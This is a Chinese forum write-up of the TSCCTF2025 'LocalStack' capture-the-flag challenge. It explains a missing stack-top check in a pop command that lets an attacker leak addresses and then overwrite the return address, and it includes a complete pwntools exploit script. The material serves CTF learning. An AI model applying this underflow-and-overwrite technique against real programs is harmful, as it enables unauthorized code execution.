首页
社区
课程
招聘
[原创]TSCCTF2025 LocalStack WriteUp
发表于: 2025-1-27 14:12 3856

[原创]TSCCTF2025 LocalStack WriteUp

2025-1-27 14:12
3856

TSCCTF2025 LocalStack

来自台湾安全俱乐部(TSC)的一道栈溢出

概览

main函数给了push、pop、show等命令,可以对栈上的数据进行读写查
图片描述

直接给了后门函数

漏洞点

pop操作并没有对栈顶进行检查,这样就可以泄露,并修改栈中数据

具体利用

Dockerfile给的是ubuntu:24.04,直接在虚拟机中测试
程序保护全开

直接pop会让top从-1变为-2

不断pop就可以泄露栈中数据,比如函数基地址

然后通过重新push还可以修改top的值

这样就可以直接修改返回地址,也不会破坏canary

此时直接退出就会返回到print_flag函数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
 
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
binary = "./localstack"
elf = ELF(binary)
DEBUG = 1
 
ip = "127.0.0.1"
port = 11100
 
def exp(p):
    def pushFunc(value):
        p.recvuntil(b">> ")
        p.sendline("push "+(value))
    def popFunc():
        p.recvuntil(b">> ")
        p.sendline("pop")
    def showFunc():
        p.recvuntil(b">> ")
        p.sendline("show")
    def otherFunc(payload):
        p.recvuntil(b">> ")
        p.sendline(payload)
    popFunc()
    popFunc()
    popFunc()
 
    p.recvuntil(b"Popped ")
    main_addr = int((p.recv(15)).decode('utf-8'))-0x16b
    print("main_addr--->"+hex(main_addr))
 
    popFunc()
 
    for i in range(0x19+2):
        popFunc()
     
    for i in range(0x19+4+1):
        pushFunc(str(i))
     
    pushFunc(str(29))
    payload = main_addr+621
    pushFunc(str(payload))
    payload = main_addr-0xab
    pushFunc(str(payload))
 
    otherFunc("exit")
 
    p.interactive()
 
 
def main():
    if DEBUG:
        p = process(binary)
        gdb.attach(p, "source ./.gdbinit")
        exp(p)
 
    else:
        p = remote(ip, port)
        exp(p)
 
 
if __name__ == "__main__":
    main()

[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册